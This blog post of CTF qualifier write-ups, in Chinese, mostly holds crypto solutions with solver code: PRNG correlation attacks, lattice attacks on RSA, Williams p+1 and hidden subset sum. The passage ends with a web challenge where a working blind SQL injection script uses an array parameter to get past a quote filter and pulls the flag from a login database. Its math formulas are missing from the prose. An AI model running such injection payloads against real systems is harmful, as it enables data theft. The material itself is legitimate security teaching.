AIS3 EOF CTF Quals 2021 WriteUps

發表於 2022-01-19 分類於 CTF

這次作為程安的期末考在 meow? 隊伍參加了 AIS3 EOF CTF 2021 Quals 拿了第一，也成功完全破台。這邊有全隊整合的 writeup，不過還是在這邊發一下自己解的一些題目。兩邊在內容上可能有些不同，以這邊為準。

排行榜截圖破台畫面

Crypto

babyPRNG

from flag import flag
import random
import string

charset = string.ascii_letters + string.digits + '_{}'

class MyRandom:
	def __init__(self):
		self.n = 2**256
		self.a = random.randrange(2**256)
		self.b = random.randrange(2**256)

	def _random(self):
		tmp = self.a
		self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
		tmp ^= (tmp >> 3) & 0xde
		tmp ^= (tmp << 1) & 0xad
		tmp ^= (tmp >> 2) & 0xbe
		tmp ^= (tmp << 4) & 0xef
		return tmp

	def random(self, nbit):
		return sum((self._random() & 1) << i for i in range(nbit))

assert all(c in charset for c in flag)
assert len(flag) == 60

random_sequence = []
for i in range(6):
	rng = MyRandom()
	random_sequence += [rng.random(8) for _ in range(10)]

ciphertext = bytes([x ^ y for x, y in zip(flag.encode(), random_sequence)])
print(ciphertext.hex())

這題的 PRNG 有兩個 256 bit 狀態，每次輸出時都會用和去更新。之後拿原本的做一些 tamper 後輸出，取 lsb 作為輸出。

Tamper 的部份可以用觀察或是測試發現說 tmp 的 lsb 都保持不動，所以 tmp 的 lsb 直接就來自 :

tmp ^= (tmp >> 3) & 0xde
tmp ^= (tmp << 1) & 0xad
tmp ^= (tmp >> 2) & 0xbe
tmp ^= (tmp << 4) & 0xef

因為我們只在意 lsb，也就是，因為的所以可以直接把 % self.n 視為 % 2，然後就可以注意到說的 lsb 只和有關。

所以在只考慮 lsb 的情況下這個 PRNG 實際上的狀態只有四種: 0 0 0 1 1 0 1 1

所以直接爆破四種起始狀態輸出的 key stream 即可 xor 回原本的 flag。

class MyRandom:
    def __init__(self, a, b):
        self.n = 2 ** 256
        self.a = a
        self.b = b

    def _random(self):
        tmp = self.a
        self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
        tmp ^= (tmp >> 3) & 0xDE
        tmp ^= (tmp << 1) & 0xAD
        tmp ^= (tmp >> 2) & 0xBE
        tmp ^= (tmp << 4) & 0xEF
        return tmp

    def random(self, nbit):
        return sum((self._random() & 1) << i for i in range(nbit))


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


keys = [
    bytes([rng.random(8) for _ in range(10)])
    for a in range(2)
    for b in range(2)
    if (rng := MyRandom(a, b))
]
ct = bytes.fromhex(
    "9dfa2c9ccd5c84c61feb00ea835e848732ac8701da32b5865a84db59b08532b6cf32ebc10384c45903bf860084d018b5d55a5cebd832ef8059ead810"
)
for i in range(0, len(ct), 10):
    for k in keys:
        s = xor(ct[i : i + 10], k)
        if s.isascii():
            print(s.decode(), end="")
print()

# FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}

almostBabyPRNG

from flag import flag
import random


class MyRandom:
    def __init__(self):
        self.n = 256
        self.a = random.randrange(256)
        self.b = random.randrange(256)

    def random(self):
        tmp = self.a
        self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
        tmp ^= (tmp >> 3) & 0xDE
        tmp ^= (tmp << 1) & 0xAD
        tmp ^= (tmp >> 2) & 0xBE
        tmp ^= (tmp << 4) & 0xEF
        return tmp


class TruelyRandom:
    def __init__(self):
        self.r1 = MyRandom()
        self.r2 = MyRandom()
        self.r3 = MyRandom()
        print(self.r1.a, self.r1.b)
        print(self.r2.a, self.r2.b)
        print(self.r3.a, self.r3.b)

    def random(self):
        def rol(x, shift):
            shift %= 8
            return ((x << shift) ^ (x >> (8 - shift))) & 255

        o1 = rol(self.r1.random(), 87)
        o2 = rol(self.r2.random(), 6)
        o3 = rol(self.r3.random(), 3)
        o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)
        o &= 255
        return o


assert len(flag) == 36

rng = TruelyRandom()
random_sequence = [rng.random() for _ in range(420)]

for i in range(len(flag)):
    random_sequence[i] ^= flag[i]

open("output.txt", "w").write(bytes(random_sequence).hex())

這題使用的 PRNG TruelyRandom 是使用三個 MyRandom 所組合而成的，每個各有種初始狀態。

輸出的時候是把每個 random 輸出的一個 byte 經過 rol 對 bits 做些交換，之後使用 o = (~o1 & o2) ^ (~o2 | o3) ^ (o1) 的做組合後輸出一個 byte。因為不是 lsb 所以不能像前面那題直接。

直接爆破的話需要次才能找出初始的狀態，雖然可能用 C/C++ 加上一些平行化應該有機會解出來，但顯然不是預期的解法。

先觀察輸出公式的真值表可以看出說 o1 和 ~o 有 75% 的機率相同，o3 和 ~o 也是 75% 的機率相同。在這種情況下就能使用 correlation attack 去單獨爆破其中一個 MyRandom 的 seed，只需要次。

由於輸出的值是一個 byte，在 correlation attack 的時候是直接比較 8 個 bits 相同的機率，然後取平均看有沒有超過 70%。

獲得 r1 和 r3 的 seed 之後直接再用爆破出 r2 的 seed，之後就能 xor 回原本的 flag。

class MyRandom:
    def __init__(self, a, b):
        self.a = a
        self.b = b

    def random(self):
        tmp = self.a
        self.a, self.b = self.b, (self.a * 69 + self.b * 1337) & 0xFF
        tmp ^= (tmp >> 3) & 0xDE
        tmp ^= (tmp << 1) & 0xAD
        tmp ^= (tmp >> 2) & 0xBE
        tmp ^= (tmp << 4) & 0xEF
        return tmp


def rol(x, shift):
    shift %= 8
    return ((x << shift) ^ (x >> (8 - shift))) & 255


ct = list(
    bytes.fromhex(
        "d5de8acdc0fa83d9c5bbe683cb33ef07949d6faeee8b00f6a2cc10cad800ca818e1cfd34f96f8fe71c9dbb3930ec8fb89183c9eef059cddcdc62a3fcf96eaea6dcab1bde96db8dbb13e3eb5d144fec9c6c91637cffdb0d8c988c2a189a8aaeaa136afe8cd469dddedf88ed7effbf2fd89e8f8afa88beb9ba1150eaaec0c8fdb5d4fbe3efff8ca866ecbf2bda996a7f9e136d6d6e1afbccb664e24d5ef98e9fa63e8d8b3a385aef999389d9dcfbe9f8f6d4908bdaf9bdbd8dfeaebafea28aca8c9181cb8ca8cbc9a6f48893dcf94b8b4efca91a8ab1a84f9893ac4fafb86ee9dbff7a9949ff6e8fe40a9daa2c30ea99b89383c9ecf459d8d8dc66a1fcff6daeb4caab0ad896c88cbb11e3eb4c134ff9886c84617cf9cf0d8b9d8c3b189a88adaa117dfe8ac369c8c9df88f87ef9ad2fce9f8f9be988a9adba1343eabbd6c8e8b4d4eaf2eff989a865febf3acb996c6d9e11696d6c1afbd9b664e64b5eff899fb42c8d9a383849ea99918dd9cdf8e9ede6d4858ddaffadbd8affaeabfaa288cd8c9392cb8abbcbdcb5f48882dcff5d8b58f9a90b9db1bf5f9891bb4fbaaa6efcdeff6b8c49"
    )
)


def gen_table(shift, ln=128):
    table = {}

    for a in range(256):
        for b in range(256):
            r = MyRandom(a, b)
            stream = tuple([rol(r.random(), shift) for _ in range(ln)])
            table[stream] = (a, b)
    return table


def solve_gen1():
    # a == ~(((~a)&b)^((~b)|c)^a) for 75%
    table = gen_table(87)
    for stream, (a, b) in table.items():
        same = [0] * 8
        for i in range(36, len(stream)):
            for j in range(8):
                mask = 1 << j
                if ((~ct[i]) & mask) == stream[i] & mask:
                    same[j] += 1
        rates = [s / (len(stream) - 36) for s in same]
        if sum(rates) / len(rates) > 0.70:
            print(a, b, rates)
            return a, b, stream


def solve_gen3():
    # c == ~(((~a)&b)^((~b)|c)^a) for 75%
    table = gen_table(3)
    for stream, (a, b) in table.items():
        same = [0] * 8
        for i in range(36, len(stream)):
            for j in range(8):
                mask = 1 << j
                if ((~ct[i]) & mask) == stream[i] & mask:
                    same[j] += 1
        rates = [s / (len(stream) - 36) for s in same]
        if sum(rates) / len(rates) > 0.70:
            print(a, b, rates)
            return a, b, stream


a1, b1, s1 = solve_gen1()
a3, b3, s3 = solve_gen3()
table2 = gen_table(6)
for s2, (a2, b2) in table2.items():
    oo = [((~o1 & o2) ^ (~o2 | o3) ^ (o1)) & 0xFF for o1, o2, o3 in zip(s1, s2, s3)]
    if oo[36:] == ct[36 : len(oo)]:
        print(a2, b2)
        print(bytes([x ^ y for x, y in zip(oo, ct)][:36]))

# pypy3 takes less than 3s
# FLAG{1_l13d_4nd_m4d3_4_n3w_prn6_qwq}

notRSA

from Crypto.Util.number import *
from secret import flag

n = ZZ(bytes_to_long(flag))
p = getPrime(int(640))
assert n < p
print(p)

K = Zmod(p)

def hash(B, W, H):
    def step(a, b, c):
        return vector([9 * a - 36 * c, 6 * a - 27 * c, b])
    def steps(n):
        Kx.<a, b, c> = K[]
        if n == 0: return vector([a, b, c])
        half = steps(n // 2)
        full = half(*half)
        if n % 2 == 0: return full
        else: return step(*full)
    return steps(n)(B, W, H)

print(hash(79, 58, 78))

這題只給了個 hash function，輸入有和三個常數，其中是 flag。step 函數單純的對於三個輸入輸出一個向量。計算一律在一個下運算。

steps 函數則是對於輸入使用 symbolic 的做一些運算，仔細一看可以看出那其實是很單純的快速冪。假設 step 代表的是一個未知的轉換，half = steps(n // 2) 計算，然後 half(*half) 就是，之後看的奇偶決定要不要多乘。所以 steps(n) 其實就代表而已。

而 step 代表的本身其實很容易看出來是個矩陣乘法:

因此這題簡單來說就是給予求，有點像是 discrete log。

要求矩陣的次方想做的第一件事是對角化看看，不過很容易就能發現不可對角化，只能算 jordan form 而已，也就是求出，其中是個上三角矩陣。

另外，所以可以化為，其中和。

這題的是:

上三角矩陣的次方容易推出通項公式，不過我直接偷懶讓 WolframAlpha 大神來計算: 通項公式

所以

其中和分別是的三個維度，都是已知的值。因為未知所以設成方便處裡，待會消掉:

相除得到

所以

from Crypto.Util.number import *

p = 2888665952131436258952936715089276376855255923173168621757807730410786288318040226730097955921636005861313428457049105344943798228727806651839700038362786918890301443069519989559284713392330197
K = Zmod(p)
A = matrix(K, [[9, 0, -36], [6, 0, -27], [0, 1, 0]])
u = vector(K, (79, 58, 78))
v = vector(
    K,
    (
        2294639317300266890015110188951789071529463581989085276295636583968373662428057151776924522538765000599065000358258053836419742433816218972691575336479343530626038320565720060649467158524086548,
        1566616647640438520853352451277215019156861851308556372753484329383556781312953384064601676123516314472065577660736308388981301221646276107709573742408246662041733131269050310226743141102435560,
        2794094290374250471638905813912842135127051843020655371741518235633082381443339672625718699933072070923782732400527475235532783709419530024573320695480648538261456026723487042553523968423228485,
    ),
)
J, P = A.jordan_form(transformation=True)
# A^n*v=u
# A=PJP^-1
# J^n*vv=uu
print(J)
vv = ~P * v
uu = ~P * u
a, b, c = uu
aa, bb, cc = vv
n = (18 * bb * c - 18 * b * cc) / (6 * c * cc)
print(long_to_bytes(n))

# FLAG{haha_diagonalization_go_brRRRrRrrrRrRrrrRrRrRRrrRrRrRRRRrrRRrRRrrrrRrRrRrR}

babyRSA

from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
m = n**2 + 69420
h = (pow(3, 2022, m) * p**2 + pow(5, 2022, m) * q**2) % m
c = pow(bytes_to_long(flag), 65537, n)

print('n =', n)
print('h =', h)
print('c =', c)

這題是在一般 RSA 之上多提供一個，其中 , , 。

都是 512 bits，所以是 1024 bits，而是 2048 bits。所以可以寫出下方的 Lattice basis:

註: 本文中 Lattice 一律以 row vector 為 basis

可知存在這個 Lattice 中，其中只有已知，其他只知道而已。所以可以寫出的上下界和。

一個簡單的想法是用 LLL 對 reduce 過之後使用 Babai nearest plane 去近似，只是會發現求出來的和實際上的差很大。解決辦法和 LLL 會去調整權重一樣，把第一個 column 乘上很大的值就可以讓 reduced basis 的第一維變很小。在 CVP 的話因為我們已經很肯定第一維就是，所以讓 reduced basis 的第一維夠小才比較好的逼近目標向量。

這個技巧就在 rkm0959/Inequality_Solving_with_CVP 這個 repo 中實作了出來，方法就是把差很小的維度乘上很大的值，反之差很大的維度就讓它乘上比較小的值。這樣 reduced basis 就會根據目標的上下界差值有大和小的變化，更容易找出目標的。

使用了那個 repo 的 CVP solver 出來的向量根據自己測試有大概的機率下第二維是個完全平方數，就算不是也可以拿 reduced basis 的前兩短向量出來，暴力搜尋附近的向量，也就是。根據測試大概 99% 都能找到目標的，即可成功分解解密 flag。

註: 因為，所以才會是完全平方數

from Crypto.Util.number import *

n = 60116508546664196727889673537793426957208317552814539722187167053623876043252780386821990827068176541032744152377606007460695865230455445490316090376844822501259106343706524194509410859747044301510282354678419831232665073515931614133865254324502750265996406483174791757276522461194898225654233114447953162193
h = 2116009228641574188029563238988754314114810088905380650788213482300513708694199075187203381676605068292187173539467885447061231622295867582666482214703260097506783790268190834638040582281613892929433273567874863354164328733477933865295220796973440457829691340185850634254836394529210411687785425194854790919451644450150262782885556693980725855574463590558188227365115377564767308192896153000524264489227968334038322920900226265971146564689699854863767404695165914924865933228537449955231734113032546481992453187988144741216240595756614621211870621559491396668569557442509308772459599704840575445577974462021437438528
c = 50609945708848823221808804877630237645587351810959339905773651051680570682896518230348173309526813601333731054682678018462412801934056050505173324754946000933742765626167885199640585623420470828969511673056056011846681065748145129805078161435256544226137963588018603162731644544670134305349338886118521580925
e = 65537
m = n ** 2 + 69420
a = pow(3, 1011, m)
b = pow(5, 1011, m)

B = matrix(ZZ, [[m, 0, 0], [a ^ 2, 1, 0], [b ^ 2, 0, 1]])

load("solver.sage")  # https://github.com/rkm0959/Inequality_Solving_with_CVP
lb = [h, 0, 0]
ub = [h, 2 ^ 1024, 2 ^ 1024]
result, applied_weights, fin = solve(B, lb, ub)  # PS: B will be modified inplace
v = vector(
    [x // y for x, y in zip(result, applied_weights)]
)  # closest vector to (lb+ub)/2
print(v)
if not v[1].is_square():
    R = B.LLL()
    l0 = vector([x // y for x, y in zip(R[0], applied_weights)])
    l1 = vector([x // y for x, y in zip(R[1], applied_weights)])
    # enumerate nearby vectors
    for i in range(-10, 10):
        for j in range(-10, 10):
            vv = v + l0 * i + l1 * j
            if vv[1].is_square():
                print("found", i, j)
                p = vv[1].sqrt()
                q = vv[2].sqrt()
                assert p * q == n
                d = inverse_mod(e, (p - 1) * (q - 1))
                m = power_mod(c, d, n)
                print(long_to_bytes(m))
# FLAG{7hI5_i5_4_C0MPL373_r4nD0M_fL49_8LinK}

easyRSA

from Crypto.Util.number import *
import os

from flag import flag

blen = 256

def rsa(p: int, q: int, message: bytes):
	n = p * q
	e = 65537
	
	pad_length = n.bit_length() // 8 - len(message) - 2 # I padded too much
	message += os.urandom(pad_length)
	m = bytes_to_long(message)
	return (n, pow(m, e, n))

def level1(message1: bytes, message2: bytes):
	while True:
		p1 = getPrime(blen) # 512-bit number
		p2 = (p1 - 1) // 2
		if isPrime(p2):
			break

	q1 = getPrime(blen)
	q2 = getPrime(blen)

	return rsa(p1, q1, message1), rsa(p2, q2, message2)

def level2(message1: bytes, message2: bytes):
	while True:
		p1 = getPrime(blen) # 512-bit number
		p2 = (p1 + 1) // 2
		if isPrime(p2):
			break

	q1 = getPrime(blen)
	q2 = getPrime(blen)

	return rsa(p1, q1, message1), rsa(p2, q2, message2)

assert len(flag) == 44
l = len(flag) // 4
m1, m2, m3, m4 = [flag[i * l: i * l + l] for i in range(4)]
c1, c2 = level1(m1, m2)
c3, c4 = level2(m3, m4)

print(f'{c1 = }')
print(f'{c2 = }')
print(f'{c3 = }')
print(f'{c4 = }')

這題的 flag 分成了四等分，分別用了四個 RSA modulus 加密，前兩個是 level1，後兩個是 level2。

level1

解題可以從費馬小定理開始

可知就算多開次方也成立

而是的倍數，所以，因此對於大部分的成立。

只是說是個很大的數字，沒辦法對任意整數開次方，需要才行，所以是

之所以能這樣做是因為，如果不整除的話就不能這樣，這是因為有下方的這個性質才能這麼做的:

這個概念其實就是 Pollard p-1，當夠 smooth 的時候可以隨便乘一堆小的質數得到，如果的話就開次方就能分解了。這題只是利用提供給你了的倍數方便分解。

level2

唯一的不同在於變成了，看到就比較容易想到和 Pollard p-1 相對的 Williams p+1 分解法。

參考這篇文章可知對於以下的 Lucas Sequence

設，若時則有，其中是的倍數，而是 Legendre symbol。

如果不是的二次剩餘，那，所以只要是的倍數就能分解了。而顯然是的倍數。

可以直接隨便猜，機率大概不是二次剩餘。剩下就是該如何計算了，這部分和前面一樣可以避免數字太大。只是直接按照上面給的遞迴公式計算需要才能得到，對於來說太慢了。

這邊可以注意到其實類似費氏數列，可以直接用矩陣快速冪在算出第項，然後之後後就能算出解密。

from Crypto.Util.number import *

c1 = (
    7125334583032019596749662689476624870348730617129072883601037230619055820557600004017951889099111409301501025414202687828034854486218006466402104817563977,
    4129148081603511890044110486860504513096451540806652331750117742737425842374298304266296558588397968442464774130566675039127757853450139411251072917969330,
)
c2 = (
    2306027148703673165701737115582071466907520373299852535893311105201050695517991356607853174423460976372892149320885781870159564414187611810749699797202279,
    600009760336975773114176145593092065538518609408417314532164466316030691084678880434158290740067228766533979856242387874408357893494155668477420708469922,
)
c3 = (
    9268888642513284390417550869139808492477151321047004950176038322397963262162109301251670712046586685343835018656773326672211744371702420113122754069185607,
    5895040809839234176362470150232751529235260997980339956561417006573937337637985480242398768934387532356482504870280678697915579761101171930654855674459361,
)
c4 = (
    6295574851418783753824035390649259706446806860002184598352000067359229880214075248062579224761621167589221171824503601152550433516077931630632199823153369,
    3120774808318285627147339586638439658076208483982368667695632517147182809570199446305967277379271126932480036132431236155965670234021632431278139355426418,
)
e = 65537


def solve_level1(n1, c1, n2, c2):
    p1 = gcd(power_mod(2, 2 * n2, n1) - 1, n1)
    p2 = (p1 - 1) // 2
    q1 = n1 // p1
    q2 = n2 // p2
    d1 = inverse_mod(e, (p1 - 1) * (q1 - 1))
    d2 = inverse_mod(e, (p2 - 1) * (q2 - 1))
    m1 = power_mod(c1, d1, n1)
    m2 = power_mod(c2, d2, n2)
    return long_to_bytes(m1), long_to_bytes(m2)


def lucas_v(a, n):
    # computes n-th lucas number for v_n=a*v_{n-1}-v_{n-2} with fast matrix power
    v0 = 2
    v1 = a
    R = a.base_ring()
    M = matrix(R, [[a, -1], [1, 0]])
    v = M ^ (n - 1) * vector(R, [v1, v0])
    return v[0]


def solve_level2(n1, c1, n2, c2):
    # based on Williams p+1: http://users.telenet.be/janneli/jan/factorization/williams_p_plus_one.html
    for a in range(2, 10):
        p1 = ZZ(gcd(lucas_v(Mod(a, n1), 2 * n2) - 2, n1))
        if 1 < p1 < n1:
            break
    p2 = (p1 + 1) // 2
    q1 = n1 // p1
    q2 = n2 // p2
    d1 = inverse_mod(e, (p1 - 1) * (q1 - 1))
    d2 = inverse_mod(e, (p2 - 1) * (q2 - 1))
    m1 = power_mod(c1, d1, n1)
    m2 = power_mod(c2, d2, n2)
    return long_to_bytes(m1), long_to_bytes(m2)


m1, m2 = solve_level1(*c1, *c2)
m3, m4 = solve_level2(*c3, *c4)

flag = b"".join([x[:11] for x in [m1, m2, m3, m4]])
print(flag)

# flag{S0rry_1_f0r9ot_T0_cH4nGe_7h3_t35t_fl46}

延伸說明

Williams p+1 的原理基本上是把運算轉移到上。概念上類似於擴充到時是多一個符合。如果的話是 irreducible，這樣才能 reduce 到的 field 中。

由於的 multiplicative order 是，所以有不同 subgroup 的問題。推導一下可以知道:

當開次方的時候虛部消失了，代表它是的倍數，用 gcd 即可分解出來。

如果的話，那麼:

虛部一樣也消失了，所以一樣可以用 gcd 分解，這代表 Williams p+1 也能處裡 p-1 的 case。不過原版的 Pollard p-1 是使用實部已知的的去 gcd 的。

使用 sage 做個簡單的驗證:

p = random_prime(2 ^ 512)
q = random_prime(2 ^ 512)
n = p * q
P.<x> = Zmod(n)[]


def test(T):
    print("QR", kronecker(T, p))
    R.<i> = P.quotient(x^2 - T)
    z = 1 + i
    print("p-1", gcd((z ^ (p - 1))[1], n))
    print("p+1", gcd((z ^ (p + 1))[1], n))


T = next(x for x in range(2, 100) if kronecker(x, p) == 1)
test(T)
T = next(x for x in range(2, 100) if kronecker(x, p) == -1)
test(T)

而原版的 Williams p+1 使用了 lucas sequence 也是做同一件事，只是改用了遞迴數列去計算的高次方。

對於這個遞迴數列的特徵多項式可以算出兩根，然後帶入初始項能求出常數，所以得通項公式為:

考慮的話可知其實就是那個，根據是否是二次剩餘決定是還是的關鍵。一樣考慮的情況可以推出

把它換成的倍數也有一樣的結果，所以會給出。

這篇文章還有來自更加高等數學角度的說明，只是後半段的數學我真的理解不了...

notPRNG

from secret import flag
import sys

def genModular(x):
    if x <= 2 * 210:
        return random_prime(2^x, False, 2^(x - 1))
    return random_prime(2^210, False, 2^209) * genModular(x - 210)

N, L = 100, 200
M = genModular(int(N * N * 0.07 + N * log(N, 2)))

# generate a random vector in Z_M
a = vector(ZZ, [ZZ.random_element(M) for _ in range(N)])

# generate a random 0/1 matrix
while True:
    X = Matrix(ZZ, L, N)
    for i in range(L):
        for j in range(N):
            X[i, j] = ZZ.random_element(2)
    if X.rank() == N:
        break

# let's see what will this be
b = X * a
for i in range(L):
    b[i] = mod(b[i], M)

print('N =', N)
print('L =', L)
print('M =', M)
print('b =', b)

x = vector(ZZ, int(N))
for j in range(N):
    for i in range(L):
        x[j] = x[j] * 2 + X[i, j]



def bad():
    print("They're not my values!!!")
    sys.exit(0)

def calc(va, vx):
    ret = [0] * L
    for i, vai in enumerate(va):
        for j in range(L):
            bij = (vx[i] >> (L - 1 - j)) & 1
            ret[j] = (ret[j] + vai * bij) % M
    return ret


if __name__ == '__main__':
    print('What are my original values?')
    print('a?')
    aa = list(map(int, input().split()))
    print('x?')
    xx = list(map(int, input().split()))

    if len(aa) != len(a):
        bad()
    if len(xx) != len(x):
        bad()
    if calc(a, x) != calc(aa, xx):
        bad()

    print(flag)

程式碼有點複雜，但簡單來說就是給予你向量和大整數，求矩陣和向量符合。其中指定說每個元素都只能是，且。

Source code 中下面這段是用來把的矩陣壓縮的

x = vector(ZZ, int(N))
for j in range(N):
    for i in range(L):
        x[j] = x[j] * 2 + X[i, j]

而 calc 函數其實就只是利用壓縮過的矩陣 vx 和向量 va 做而已。

這個問題的是個的矩陣，是向量，是向量。其中。可知如果的話有個很簡單的 trivial solution，就是取單位矩陣，而。只是這題難就難在這件事上。

這題就像是在問說怎麼把個維的向量拆成個只由組成的 basis，一時之間真的想不到怎麼做。不過可以觀察到說如果已知，那這個問題就變成了解個 subset sum problem，雖然這問題在一般情況下是 NP-Complete 的，但是在 low density 的情況下可以利用 LLL 之類的算法在多項式時間內解決問題。(Solving Low-Density Subset Sum Problems)

以這題的生成方式可以知道 density:

而對於 density 小於的 subset sum problem 都是 LLL 可以處裡的(來源)，所以這題肯定和 LLL 脫不了關係。

解題的話目前有兩個方法，先找或是先找。先找還不知道怎麼做，但任意固定的話不一定能有 subset sum 的解這件事是已知的。就算找到了一個確定對於個 subset sum 都有解，需要重複解次，經測試在我的電腦上解一個 subset sum 需要約 20 秒，而秒過去的話肯定會 timeout，所以這方向不可行。

另一個出發點是想辦法尋找，有的話就解方程組得到，但顯然不是對於任意的矩陣都有解的。所以目標是要找個方法求出，找到的矩陣不一定要和原本的完全一樣也可以，就算是 basis 的順序有些交換也還是能夠解出一個使得的。

先用下面這個 Lattice 去 reduce:

其中空白部分都是，是隨便選的一個大常數，讓 reduced 過的 basis 的第一維盡量保持為。basis 中會有多個型式的短向量。由於每個都是來自向量的一些的線性組合，可以預期其實都不會很大。

實際測試會發現 reduced 過的 basis 中的前個向量的第一維都是，但只有前面個向量的大概都落在的區間，剩下的都會遠遠超出這個範圍。把這個維向量視為一個的矩陣，可知。因為，所以。

由於都是構成的，裡面也大概落在，可以發現在整數上也成立，可以把視為一個 left kernel(?)。所以目前的問題就變成了怎麼從的矩陣，找到一個矩陣符合和。

這個問題像是怎麼找的 right kernel，只是有整數的限制。Sage 內建的可以很快速的算出的 right kernel，但是在上慢到根本跑不出來。我用的方法是取，其中一樣是個足夠大的常數，這樣 reduce 過的 basis 中會出現許多，其中。

測試一下可以發現有約個都是在區間的，但其中只有個是區間的。後來就以唯一的那個區間的作為基準，然後其他的放到集合中，直接爆破中所有的向量就能找到的 basis。

找到之後就能解方程組得到，然後送到 remote server 拿 flag。

from pwn import *
import ast

L = 200
N = 100

io = remote("eof.ototot.cf", 51820)
io.recvuntil(b"M = ")
M = ZZ(int(io.recvlineS().strip()))
io.recvuntil(b"b = ")
b = ast.literal_eval(io.recvlineS().strip())


def knapsack2(b):
    B = matrix(b).T.augment(matrix.identity(len(b)))
    # B = B.stack(vector([0] + [-1] * len(b)))
    B = B.stack(vector([M] + [0] * len(b)))
    B[:, 0] *= 2 ^ 20
    # print(B.change_ring(Zmod(10)))
    print(B.dimensions())
    for row in B.BKZ():
        # print(row)
        if row[0] == 0:
            cf = row[1:]
            # print(sum([x * y for x, y in zip(cf, b)]) % M == 0)
            # print(vector(cf) * X.change_ring(Zmod(M)))
            yield vector(cf)


p_vecs = list(knapsack2(b))
Xleftkernel = matrix(p_vecs[:N])

B = Xleftkernel.T.augment(matrix.identity(L))
B[:, :N] *= 2 ^ 10
R = B.BKZ()

goodvecs = []
for row in R:
    if row[0] != 0:
        print("??")
        continue
    if all(-1 <= x <= 1 for x in row):
        if any(x < 0 for x in row):
            row = -row
        assert Xleftkernel * row[N:] == 0
        goodvecs.append(row[N:])
        if all(0 <= x <= 1 for x in row):
            print(row)
print(len(goodvecs))

# for v in goodvecs:
#     tt = X.solve_right(v)
#     print([x for x in tt if x != 0])

# for v in X.T:
#     tt = matrix(goodvecs).solve_left(v)
#     # print([x for x in tt if x != 0])
#     print([(i, x) for i, x in enumerate(tt) if x != 0])

from itertools import product
from tqdm import tqdm

Xvecs = set()
for v in goodvecs:
    if all(0 <= x <= 1 for x in v):
        Xvecs.add(tuple(v))
        bestvec = v
print(len(Xvecs))
for v1 in tqdm(goodvecs):
    for v2 in goodvecs:
        for coef in product([-1, 0, 1], repeat=3):
            vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
            if any([x < 0 for x in vv]):
                vv = -vv
            if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
                Xvecs.add(tuple(vv))
    if len(Xvecs) == N:
        break
Xvecs = list(Xvecs)
# assert all([tuple(v) in list(map(tuple, X.T)) for v in Xvecs])
XX = matrix(ZZ, Xvecs).T
aa = XX.change_ring(Zmod(M)).solve_right(vector(b)).change_ring(ZZ)


xx = vector(ZZ, int(N))
for j in range(N):
    for i in range(L):
        xx[j] = xx[j] * 2 + XX[i, j]


def calc(va, vx):
    ret = [0] * L
    for i, vai in enumerate(va):
        for j in range(L):
            bij = (vx[i] >> (L - 1 - j)) & 1
            ret[j] = (ret[j] + vai * bij) % M
    return ret


assert tuple(calc(aa, xx)) == tuple(b)
io.sendlineafter(b"a?", " ".join(map(str, aa)).encode())
io.sendlineafter(b"x?", " ".join(map(str, xx)).encode())
io.interactive()

# FLAG{W0W_You_knoW_h0w_to_solve_H1dden_Sub5et_5um_Probl3m}

這題官方的預期解是 A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem，但我實在沒能在解題時 OSINT 到這個名字...

簡單對照了一下，我用的方法大概是個比較 ad-hoc 版本的 orthogonal lattice attack，概念上都和 Nguyen-Stern Attack 接近

Web

Happy Metaverse Year

這題有個簡單的 web 服務可以讓你登入，關鍵的程式碼在這邊:

const db = new sqlite3.Database('/tmp/db.sqlite3');
db.exec(`
-- (re)create users table
DROP TABLE IF EXISTS users;
CREATE TABLE users(
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    password TEXT,
    ip TEXT
);

-- create the chosen one
INSERT INTO users
    (username, password, ip)
VALUES
    ('kirito', 'FLAG{${FL4G}}', '48.76.33.33');
`);


// initialize app

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
// omitted...
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    if (username?.includes("'") || password?.includes("'"))
        return res.send('Hacking attempt detected!');   // SQL injection?

    const query = `SELECT username, password, ip FROM users WHERE username = '${username}'`;
    db.get(query, (err, user) => {
        if (res.headersSent) return;

        if (!err && user && user.password === password && user.ip === req.ip)
            res.redirect('/welcome');
        else
            res.render('failed');
    });

    // querying time should not longer than 50ms
    res.setTimeout(50, () => res.render('failed'));
});

可以看到說他會檢查 username 和 password 有沒有 ' (單引號)，之後用字串拼接去生 sql query。

不過他在使用 body parser 的時候是開啟了 extended 模式，這模式下它是會接受 username[]=123 型式的 payload，然後解析為 { username: ["123"] }。因為 javascript 的 string 和 array 都有 includes 函數，所以在一個 ["' or 1=1;# "] 的 array 上去檢查有沒有 includes("'") 是 false。但是當 array 轉回字串時基本上是等價 ','.join(arr)，所以一樣能 injection。

可以 injection 之後可以知道它根本不會回傳 response，就算有 error 也不管，所以只能用 blind (或是 time)。基本上就設計一個條件讓他在成立時進入 res.redirect('/welcome')，不成立就進入 res.render('failed')，之後就能用內建的一些函數去湊 condition，把 database 裡面的東西撈出來。

flag 可以知道是放在 user kirito 的密碼，所以用個下方的 injection 就可以一個一個字元去 binary search 了:

1	' union select 'peko','miko','{ip}' from users where unicode(substr(password,{index}))<{value} and username='kirito

不過很快就會發現直接在一般 ASCII 範圍中 binary search 會失敗，檢查一下會發現它原來是有包含許多 unicode 字元，包含中文和 emoji。因應對策就直接把 password 換成 hex(password)，然後 binary search hex chars 的範圍即可。

import requests

ip = requests.get("https://ipinfo.io/ip").text
print(ip)


def check_char(i, v):
    r = requests.post(
        "https://sao.h4ck3r.quest/login",
        data={
            "username[]": f"' union select 'peko','miko','{ip}' from users where unicode(substr(hex(password),{i+1}))<{v} and username='kirito",
            "password": "miko",
        },
        allow_redirects=False,
    )
    return "welcome" in r.text


def bsearch_char(i):
    l = 48
    r = 71
    while l + 1 != r:
        m = (l + r) // 2
        if check_char(i, m):
            r = m
        else:
            l = m
    return chr(l)


flaghex = ""
while True:
    flaghex += bsearch_char(len(flaghex))
